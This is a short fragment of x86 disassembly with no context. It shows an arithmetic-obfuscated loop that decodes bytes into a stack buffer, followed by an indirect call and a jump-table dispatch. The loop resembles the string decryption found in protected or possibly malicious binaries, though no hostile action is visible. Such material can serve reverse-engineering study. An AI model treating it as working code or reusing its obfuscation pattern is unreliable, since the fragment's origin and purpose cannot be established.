and edi, 0xfffffffd
mov eax, esi
and eax, 2
or esi, 2
imul esi, eax
xor eax, 2
imul eax, edi
lea ebx, [edx - 1]
add esi, eax
xor ebx, esi
lea eax, [ecx - 0xe6e3b80]
and eax, esi
add eax, eax
sub ebx, eax
add bl, byte [esp + 0x44]
add bl, 0x94
mov byte [esp + edx - 0x3191c475], bl
dec ecx
inc edx
cmp ecx, 0xe6e3b65
jne 0x43be80
lea eax, [esp + 0x5c]
lea edi, [esp + 0x84]
lea esi, [esp + 8]
push eax
push 8
push edi
push 0xd
push esi
push 0
call dword [esp + 0x1c]
shr eax, 0x1f
jmp dword [eax*4 + 0x44f6e4]